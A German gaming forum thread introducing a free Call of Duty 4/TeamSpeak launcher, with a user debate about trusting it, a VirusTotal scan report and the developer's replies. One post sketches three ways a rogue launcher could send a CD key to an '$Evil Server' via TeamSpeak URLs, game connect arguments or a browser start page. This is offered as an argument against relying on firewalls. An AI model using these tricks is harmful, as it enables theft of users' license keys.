Opferlamm-Clan Board » Call of Duty 4 » Call of Duty 4 - ALLGEMEIN » [Software] CoD4 Launchpad

[Software] CoD4 Launchpad

Deichgraf
Hallo zusammen,

der [DSH] Deichclan freut sich sehr euch ein Tool vorstellen zu dürfen, welches sich nicht nur an die vergesslichen Gamer unter uns richtet, sondern auch an die Pragmatiker, die aus einer Anwendung heraus mehrere Funktionen zu "TEAMSPEAK" und "Call of Duty 4 - Modern Warfare" nutzen möchten.

Unser Member "[DSH] Tankbuster" hat uns ein Tool geschrieben, welches einige Funktionen für euch bereit stellt.


    Releasenotes COD4_LaunchPad V0.3:



    - Für "vergessliche" TS und COD4 gemeinsam starten
    - COD4 direkt verbinden mit Lieblingsserver
    - Profile sichern
    ---> Die Profile werden als Generation rotierend gespeichert.
    ---> Die älteren werden dabei gelöscht und die neueren rücken nach.

    Auszug Readme:

    V0.3 - Codename : Locked Javelin
    - Bugfix: ALL (realy all application are minimized, now only COD_LaunchPad minimizes)
    - Change: DSH Gif no transparent / request from DSH-Deichgraf
    - Tray icon gives option to show again, start COD4 and TS from tray (also aka server names are displayed)
    - New: Trayicon with function / request from RT-Postman
    - New: Player profile names are read on start and offered in combo
    - New: Save settings button to save settings without start request from DSH-Intruder
    - Removed: Subchannel field removed, may come back in "V0.4 - Codename: War Pig"
    - New: If new version is online a message on startup is shown
    - New: Allow only one instance of the launchpad

    Wer weitere Server in die Serverliste einbauen möchte, muß in der COD4_LAUNCHPAD.INI folgende Sektion abändern/ergänzen:

    Sucht diesen Abschnitt:

    Code einblendenCode angehängt. Klicke hier zum Ein-/Ausblenden

    code: 
    1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:

    --------------------------------------------------
[TSSERVERS]
srv1=78.46.50.18:8767#Deichclan_TS
srv2=85.236.100.35:9587#Tattergreis
srv3=87.118.120.188#Rainbow

[COD4SERVERS]
srv1=78.46.50.18:28960#Deich1
srv2=78.46.50.18:28961#Deich2
srv3=87.118.120.188:28960#RainbowBWMOD
--------------------------------------------------



    Und fügt eure Server in folgendem Format hinzu:

    Code einblendenCode angehängt. Klicke hier zum Ein-/Ausblenden

    code: 
    1:
2:
3:

    srvX=[IP]:[PORT]#SERVERBESCHREIBUNG




HIER kann das Programm kostenlos downgeloadet werden.

Unter diesem LINK findet ihr das Supportforum, wo euch Tankbuster Rede und Antwort steht.

Dort könnt, dürft und sollt ihr auch gern Anregungen, Verbesserungsvorschläge, aber auch Kritik loswerden, wenn ihr möchtet.

Gruß
Der Deichgraf
Deichgraf
Dies hier hat unser Tankbuster bei uns im Forum gepostet, und ich möchte es hier nochmal rein-quoten:

Zitat:


Gut man kennt mich ja jetzt nicht persönlich, aber ich möchte hier versichern, das COD_Launchpad KEINE Keys ausliest oder sonst was am COD4 Verzeichnis dreht.

Gibt ja nicht zuletzt ganze Mods die sowas machen.
Ich gehöre nicht zu dem Pack.

Mir langt mein Schlüssel und was soll ich mit einem Schlüsselbund.

Also keine Angst vor dem Tool.
Ich überprüfe auch nur die Version gegen meinen WebServer. Wer will kann ja die Denic Abfrage starten und so mich finden.


Schon schade, das ein solcher Modder doch einen etwas bitteren Nachgeschmack hinterläßt durch solche taten.

Gruß
Daniel
yoda
Nette Idee, ich drück mal Daumen.

Man kann schon verstehen, daß viele momentan sehr skeptisch sein dürften -

--- diesen Abschnitt streichen, sonst haut kellerkind mich wieder Augenzwinkern ---

aber wer mißtrauisch ist und das Tool trotzdem ausprobieren will, kann ja per Firewall den Zugriff dafür auf´s I-Net unterbinden - dann geht zwar das Auto-Update nicht, aber man wird ja bei Bedarf bestimmt auch manuell updaten können, oder?

--- diesen Abschnitt streichen, sonst haut kellerkind mich wieder Augenzwinkern ---
Kelli
Ich glaub nicht das Tankbuster unerwünschte Funktionen einbaut, aber:

Zitat:

Original von yoda
aber wer mißtrauisch ist und das Tool trotzdem ausprobieren will, kann ja per Firewall den Zugriff dafür auf´s I-Net unterbinden

Das ist kein guter Ratschlag. Wer Mißtrauisch ist soll es lassen. Eine Personal Firewall kann aus Prinzip nur gutmütige Programme daran hindern Daten zu verschicken. Alle anderen uimgehen die Firewall oder schalten sie einfach ab.

Das ist ja gerade das gefährliche an den Schlangenö^^^W Personal Firewalls. Der Benutzer macht Dinge die er sonst mit klarem Verstand nicht wagen würde. "Passiert ja nix - hab ja tolles Produkt von $$$" Das ist wie auf der Autobahn in die falsche Richtung fahren. Hab ja Airbags und Dreipunktgurt.
yoda
Na ja, 100%ige Sicherheit wird es eh nie geben, darüber muss man sich immer im Klaren sein... Wer das will, sollte die Internetverbindung ganz kappen und den Gameboy auskramen... Augenzwinkern
Kelli

Zitat:

Original von yoda
Na ja, 100%ige Sicherheit wird es eh nie geben, darüber muss man sich immer im Klaren sein

Das stimmt. Aber wenn man jetzt annimmt das Lunchpad böse ist, dann bietet eine FW nichtmal 1% Sicherheit. Mir fallen auf Anhieb 2 völlig einfache Ansätze ein den CD Key mit diesem Tool rauszuschmuckeln ohne das die Firewall auch nur das allergeringste merken kann. Dazu braucht es noch nichtmal besonders kreative Lösungen oder das Installieren von Browser Plugins.
1) Übergebe Teamspeak als erstes $Evil Server + Benutzername oder Channel = CD Key als Pseudo Anweisung teamspeak://192.168.1.1/?channel=cdkey&rconpasswort dann sofort den eingetragenen richtigen Teamspeak Server öffnen. Das macht in Teamspeak kurz "Error" dann funktioniert es - $EVIL Server hat im Logfile alle Daten.
2) Derselbe Trick mit Call of Duty mit +set password="$GUID" +connect $Evil Server - kommt halt ein Timeout, aber dann ist es schon zu spät der Key ist weg.
3) Die Startseite des Browsers ändern in http://cdkey.evilserver.html - beim nächsten Start des Browsers ist der Key weg.
Bei allen drei Methoden hat die Firewall null chancen. CoD darf ins Internet, Teamspeak darf ins Internet, Der Browser darf ins Internet. Gegen Methode 3 hilft z.B. nicht als Admin arbyten und die Richtlinien entsprechend zu konfigurieren - aber ich kenne unter meinen Bekannten nur zwei Leute die bei XP sowas machen - einer davon bin ich.

Und das sind nur die absolut diletantischen Methoden die in 10 Sekunden eingebaut sind. Wenn Geld dahintersteckt - z.B. weil die CD Keys sich gut verkaufen lassen gibt es noch unzählig andere Möglichkeiten die Firewall auszutricksen oder einfach abzuschalten. Das hat nichtmal annähernd was mit 100% Sicherheit zu tun.

Deswegen - entweder vertrauen oder das Programm nicht ausführen. Die Firewall sollte auf diese Entscheidung keinen Einfluss haben.
yoda
Wer Schaden anrichten will, wird Schaden anrichten...
Pack die Keule wieder ein, genug "Panik" verbreitet... Augenzwinkern Ich streich meinen leichtfertig gegebenen und gutgemeinten Rat wieder... Augenzwinkern

---

Vielleicht als Idee für Tank:
- xFire-Start wahlweise integrieren
- CoD4-Versions-Anzeige, evtl. Änderung in der Registry (z. B. für Leute, die CoD4 manuell patchen müssen, erst gestern mal wieder so einen Fall gehabt)
- Anzeige der vorhandenen Profile und Auswahl anstatt der Eingabe von Hand
- Tool wahlweise deutsch/englisch
Deichgraf
Poste ich ihm in sein Supportforum.

Danke!
Daniel
hellfirex
mein bitdefender schlägt an sobald ich den downloadlink anklicke,
dann wurde der bitdefender deaktiviert und habe mir die datei so geladen und bei mir aufm pc sofort mit bitdefender untersucht,dieser fand einen angeblichen trojaner namens trojan.generic.143633
ich möchte hier jetzt keinem was unterstellensmile aber an diesem problem muss ja gearbeitet werden-denn was nützt das beste programm wenn es von antivirusprogrammen geblockt wird
mfg hellfire
Kelli
Virenscanner können prinzipbedingt nur ihnen bekannte Malware zuverlässig erkennen. Da die Werbung aber was anderes verspricht und der Anwender sich schön sicher fühlen möchte raten die Anti-Virenprogramme anhand verdächtiger Funktionen ob es sich um Malware handelt oder nicht. Darauf weist auch der Name trojan.GENERIC.xxxxx hin. Bei Virustotal ist übrigends nicht nur Bitdefender der Ansicht. Auch Avast und Ikarus, und NOD ist wie üblich so kaputt das es nichtmal den Packer aufbekommt.

Code einblendenCode angehängt. Klicke hier zum Ein-/Ausblenden

code: 
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:

AhnLab-V3	2008.5.22.1	2008.05.23	-
AntiVir	7.8.0.19	2008.05.23	-
Authentium	5.1.0.4	2008.05.23	-
Avast	4.8.1195.0	2008.05.23	Win32:Rootkit-gen
AVG	7.5.0.516	2008.05.23	-
BitDefender	7.2	2008.05.23	Trojan.Generic.143633
CAT-QuickHeal	9.50	2008.05.23	-
ClamAV	0.92.1	2008.05.23	-
DrWeb	4.44.0.09170	2008.05.23	-
eSafe	7.0.15.0	2008.05.22	-
eTrust-Vet	31.4.5815	2008.05.23	-
Ewido	4.0	2008.05.23	-
F-Prot	4.4.4.56	2008.05.23	-
F-Secure	6.70.13260.0	2008.05.23	-
Fortinet	3.14.0.0	2008.05.23	-
GData	2.0.7306.1023	2008.05.23	-
Ikarus	T3.1.1.26.0	2008.05.23	Trojan.Generic
Kaspersky	7.0.0.125	2008.05.23	-
McAfee	5302	2008.05.23	-
Microsoft	1.3520	2008.05.23	-
NOD32v2	3127	2008.05.23	archive damaged
Norman	5.80.02	2008.05.23	-
Panda	9.0.0.4	2008.05.23	-
Prevx1	V2	2008.05.23	-
Rising	20.45.42.00	2008.05.23	-
Sophos	4.29.0	2008.05.23	-
Sunbelt	3.0.1123.1	2008.05.17	-
Symantec	10	2008.05.23	-
TheHacker	6.2.92.318	2008.05.23	-
VBA32	3.12.6.6	2008.05.23	-
VirusBuster	4.3.26:9	2008.05.23	-
Webwasher-Gateway	6.6.2	2008.05.23	-
weitere Informationen
File size: 412373 bytes
MD5...: 2025d1bf3349f4f8dca8c25b0534b8f9
SHA1..: bb181e2403a1dc63154e79263383513efa4adc87
SHA256: dcc5b6b18a5954d0e4fcc2a646fefdf223e7829fdccbeb80815634f16aa8ce09
SHA512: 12df201d512b2ee2ca82f498907d72630fd0162998fe32fb71f2de48c17a394d
5fec722571edaa31ce2fc06dd1af44e45d07676bf2bf3c5daf349b31bf656cf4
PEiD..: -
PEInfo: PE Structure information

( base data )
entrypointaddress.: 0x4030e3
timedatestamp.....: 0x481c71ef (Sat May 03 14:08:47 2008)
machinetype.......: 0x14c (I386)

( 5 sections )
name viradd virsiz rawdsiz ntrpy md5
.text 0x1000 0x5b26 0x5c00 6.48 f0de10bb55b85eded92a9cfc8ba8c846
.rdata 0x7000 0x129c 0x1400 5.05 165e3e874dc59c8a96748c6f4d0f4207
.data 0x9000 0x25c58 0x400 4.77 07ff028e3597dab438e7a69328411961
.ndata 0x2f000 0x9000 0x0 0.00 d41d8cd98f00b204e9800998ecf8427e
.rsrc 0x38000 0x4048 0x4200 5.83 5bbae9789991979d2f495b2b338f49d3

( 8 imports )
> KERNEL32.dll: CompareFileTime, SearchPathA, GetShortPathNameA, GetFullPathNameA, MoveFileA, SetCurrentDirectoryA, GetFileAttributesA, GetLastError, CreateDirectoryA, SetFileAttributesA, Sleep, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, ExitProcess, GetWindowsDirectoryA, SetFileTime, GetCommandLineA, SetErrorMode, LoadLibraryA, lstrcpynA, GetDiskFreeSpaceA, GlobalUnlock, GlobalLock, CreateThread, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, lstrlenA, lstrcatA, GetSystemDirectoryA, GetVersion, CloseHandle, lstrcmpiA, lstrcmpA, ExpandEnvironmentStringsA, GlobalFree, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GetModuleHandleA, LoadLibraryExA, GetProcAddress, FreeLibrary, MultiByteToWideChar, WritePrivateProfileStringA, GetPrivateProfileStringA, WriteFile, ReadFile, MulDiv, SetFilePointer, FindClose, FindNextFileA, FindFirstFileA, DeleteFileA, GetTempPathA
> USER32.dll: EndDialog, ScreenToClient, GetWindowRect, EnableMenuItem, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, RegisterClassA, TrackPopupMenu, AppendMenuA, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, DestroyWindow, CreateDialogParamA, SetTimer, SetWindowTextA, PostQuitMessage, SetForegroundWindow, wsprintfA, SendMessageTimeoutA, FindWindowExA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, OpenClipboard, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongA, LoadImageA, GetDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndPaint, ShowWindow
> GDI32.dll: SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectA, SetBkMode, SetTextColor, SelectObject
> SHELL32.dll: SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA, SHGetSpecialFolderLocation
> ADVAPI32.dll: RegQueryValueExA, RegSetValueExA, RegEnumKeyA, RegEnumValueA, RegOpenKeyExA, RegDeleteKeyA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA
> COMCTL32.dll: ImageList_AddMasked, ImageList_Destroy, -, ImageList_Create
> ole32.dll: CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
> VERSION.dll: GetFileVersionInfoSizeA, GetFileVersionInfoA, VerQueryValueA

( 0 exports )
packers (Avast): UPX


Du solltest jetzt die Datei an Bitdefender zur Überprüfung schicken. Die werden entweder ihren Scanner anpassen oder ggf die Signatur vom Lunchpad in ihre statische Liste aufnehmen Zunge raus
Deichgraf
Hi auch...

Sorry, das ich das ich das jetzt erst lese?

Nochmal...
Beim DL vom Launchpad macht dein Antivirus-Programm Alarm?

OK....
Ich geb das mal an unseren "Chefentwickler" weiter... vielleicht kann er da was tun...

Es handelt sich aber definitiv nicht um einen Schädling!

HIER gehts zum offiziellen Launchpad-Forum. Hier könnt ihr unseren Tankbuster direkt antreffen.

Gruß
Daniel
Deichgraf
Hier die Antwort von "und Tank"

Zitat:


Eigentlich habe ich damit gerechnet, da ein UPX packer verwendet wird.
Und UPX ist ein Tool das auch die Bösen verwenden, weil so auch fast
immer neue EXEs entstehen, und so die Scanner die nur auf Vergleich
achten nicht anspringen. Weil eben die Signatur anders ist.

Mein Kaspersky erkennt darin kein Virus, meckert aber über die
veränderte EXE. Auch der NOD32 und TrendMicro springt nicht an.

Gut, hier kann ich nichts als mein Wort geben, und wenn es ein Virus
wäre, würde ich schon komplett befallen sein. Bin ich aber hoffentlich
nicht.

Ich kann mich nicht rechtfertigen, aber ich versuch es mal so:
Mein Kaspersky meint das iw3mp.exe auch böse ist, weil die exe direkte
keyboard eingaben und screen Zugriffe wünscht.

Nun ja, wie sollte ich sonst COD4 spielen?

Ich versuche das mal abzustellen. Ansonsten sorry, für die
Unannehmlichkeiten.

(Graf kannst du das bei OpferLamm posten, danke)


Und

Zitat:


Wenn ich richtig gelesen habe, muss ich nur mal eben den Sourcecode,
die Exe an 20 Viren Schützer schicken und schwupps, wird mein
Programm in die Whiteliste eingetragen.

Wenn dem so ist, werde ich das halt auch noch machen.

Oder ich lege (nach etwas sauber machen) den Source code auch noch
hier ab, dann kann man ja sehen was ich so treibe .

Aber klar, als Vienscanner würde ich auch hektisch werden. Mal sehen
was COD4_LP so macht: Es liest die Registry, es startet verstecke
Prozesse, es lädt was aus dem Internet, es kopiert Dateien....

Das klingt echt böse, aber so ist das Leben eben.
Sicher ist nur eien Holzhütte im Wald ohne Strom, Wlan, Funk oder
sonst was....

FALLS !!!! Aber wirklich ein Virus gefunden wurde. Schande über mich.
Ich check also ab jetzt immer mit Virustotal.com (nette Seite habe ich
ganz verdrängt :-)


Sollte euch noch mehr zu dem Tool einfallen, dann bitte gebt mir oder Tank entweder hier im Thread, oder bei uns im Supportforum bescheid. wir möchten selbstverständlich Probleme finden und lösen.

Gruß
Daniel
Deichgraf
Nachdem ich heute meinen Rechner gestartet habe, und das Launchpad über den Autostart-Ordner ordnungsgemäß nach einen Update suchte, bekam ich nach dem Update wilde Hyroglyphen in einem PopUp angezeigt.

Dies ist KEIN Updatefehler! Der Updateserver hat sich heute geändert. Heute abend sollte der Spuk vorbei sein!

Gruß
Daniel
Deichgraf
Auf der Suche nach etwas anderem bin ich nochmal auf diesen Thread
hier gestossen...

Der Link ins Supportforum hat sich geändert, da wir das CMS gewechselt haben.
HIER seit ihr richtig (Sorry, Anmeldung erforderlich... wir brauchen weder blaue Pillen noch Damen aus Osteuropa...)
Forensoftware: Wbb - WoltLab GmbH